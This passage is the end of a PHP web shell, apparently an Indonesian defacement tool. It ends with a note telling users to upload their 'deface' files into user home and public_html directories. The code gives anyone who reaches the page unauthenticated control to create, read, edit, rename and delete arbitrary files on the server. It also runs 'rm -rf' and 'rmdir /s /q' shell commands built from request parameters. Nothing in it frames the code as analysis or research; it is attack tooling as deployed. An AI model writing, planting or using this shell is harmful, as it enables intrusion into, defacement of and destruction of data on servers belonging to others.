1707 <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 460px; margin: 5px auto;' type='submit' name='reverse' value='Scan Fake Root!'>
1708 </form><br>
1709 NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
1710 }
1711 }
1712 }
1713 elseif(isset($_GET['act'])) {
1714 if($_GET['act'] === 'newfile') {
1715 if($_POST['save']) {
1716 $filename = htmlspecialchars($_POST['filename']);
1717 $fopen = fopen($filename, "a+");
1718 if($fopen) {
1719 $act = "<script>window.location='?act=edit&dir=".path()."&file=".$_POST['filename']."';</script>";
1720 }
1721 else {
1722 $act = color(1, 1, "Permission Denied!");
1723 }
1724 }
1725 print $act;
1726 print "<form method='post'>
1727 Filename: <input type='text' name='filename' value='".path()."/newfile.php' style='width: 450px;' height='10'>
1728 <input type='submit' class='input' name='save' value='SUBMIT'>
1729 </form>";
1730 }
1731 elseif($_GET['act'] === 'newfolder') {
1732 if($_POST['save']) {
1733 $foldername = path().'/'.htmlspecialchars($_POST['foldername']);
1734 if(!@mkdir($foldername)) {
1735 $act = color(1, 1, "Permission Denied!");
1736 }
1737 else {
1738 $act = "<script>window.location='?dir=".path()."';</script>";
1739 }
1740 }
1741 print $act;
1742 print "<form method='post'>
1743 Folder Name: <input type='text' name='foldername' style='width: 450px;' height='10'>
1744 <input type='submit' class='input' name='save' value='SUBMIT'>
1745 </form>";
1746 }
1747 elseif($_GET['act'] === 'rename_folder') {
1748 if($_POST['save']) {
1749 $rename_folder = rename(path(), "".dirname(path()).DIRECTORY_SEPARATOR.htmlspecialchars($_POST['foldername']));
1750 if($rename_folder) {
1751 $act = "<script>window.location='?dir=".dirname(path())."';</script>";
1752 }
1753 else {
1754 $act = color(1, 1, "Permission Denied!");
1755 }
1756 print "$act<br>";
1757 }
1758 print "<form method='post'>
1759 <input type='text' value='".basename(path())."' name='foldername' style='width: 450px;' height='10'>
1760 <input type='submit' class='input' name='save' value='RENAME'>
1761 </form>";
1762 }
1763 elseif($_GET['act'] === 'delete_folder') {
1764 if(is_dir(path())) {
1765 if(is_writable(path())) {
1766 @rmdir(path());
1767 if(!@rmdir(path()) AND OS() === "Linux") @exe("rm -rf ".path());
1768 if(!@rmdir(path()) AND OS() === "Windows") @exe("rmdir /s /q ".path());
1769 $act = "<script>window.location='?dir=".dirname(path())."';</script>";
1770 }
1771 else {
1772 $act = color(1, 1, "Could not remove directory '".basename(path())."'");
1773 }
1774 }
1775 print $act;
1776 }
1777 elseif($_GET['act'] === 'view') {
1778 print "Filename: ".color(1, 2, basename($_GET['file']))." [".writeable($_GET['file'], perms($_GET['file']))."]<br>";
1779 print "[ <a href='?act=view&dir=".path()."&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=".path()."&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=".path()."&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=".path()."&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=".path()."&file=".$_GET['file']."'>delete</a> ]<br>";
1780 print "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
1781 }
1782 elseif($_GET['act'] === 'edit') {
1783 if($_POST['save']) {
1784 $save = file_put_contents($_GET['file'], $_POST['src']);
1785 if($save) {
1786 $act = color(1, 2, "File Saved!");
1787 }
1788 else {
1789 $act = color(1, 1, "Permission Denied!");
1790 }
1791 print "$act<br>";
1792 }
1793
1794 print "Filename: ".color(1, 2, basename($_GET['file']))." [".writeable($_GET['file'], perms($_GET['file']))."]<br>";
1795 print "[ <a href='?act=view&dir=".path()."&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=".path()."&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=".path()."&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=".path()."&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=".path()."&file=".$_GET['file']."'>delete</a> ]<br>";
1796 print "<form method='post'>
1797 <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
1798 <input type='submit' class='input' value='SAVE' name='save' style='width: 500px;'>
1799 </form>";
1800 }
1801 elseif($_GET['act'] === 'rename') {
1802 if($_POST['save']) {
1803 $rename = rename($_GET['file'], path().DIRECTORY_SEPARATOR.htmlspecialchars($_POST['filename']));
1804 if($rename) {
1805 $act = "<script>window.location='?dir=".path()."';</script>";
1806 }
1807 else {
1808 $act = color(1, 1, "Permission Denied!");
1809 }
1810 print "$act<br>";
1811 }
1812
1813 print "Filename: ".color(1, 2, basename($_GET['file']))." [".writeable($_GET['file'], perms($_GET['file']))."]<br>";
1814 print "[ <a href='?act=view&dir=".path()."&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=".path()."&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=".path()."&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=".path()."&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=".path()."&file=".$_GET['file']."'>delete</a> ]<br>";
1815 print "<form method='post'>
1816 <input type='text' value='".basename($_GET['file'])."' name='filename' style='width: 450px;' height='10'>
1817 <input type='submit' class='input' name='save' value='RENAME'>
1818 </form>";
1819 }
1820 elseif($_GET['act'] === 'delete') {
1821 $delete = unlink($_GET['file']);
1822 if($delete) {
1823 $act = "<script>window.location='?dir=".path()."';</script>";
1824 }
1825 else {
1826 $act = color(1, 1, "Permission Denied!");
1827 }
1828 print $act;
1829 }
1830 }
1831 else {
1832 files_and_folder();
1833 }
1834}
1835
1836serverinfo();
1837action();
1838?>
1839</body>
1840</html>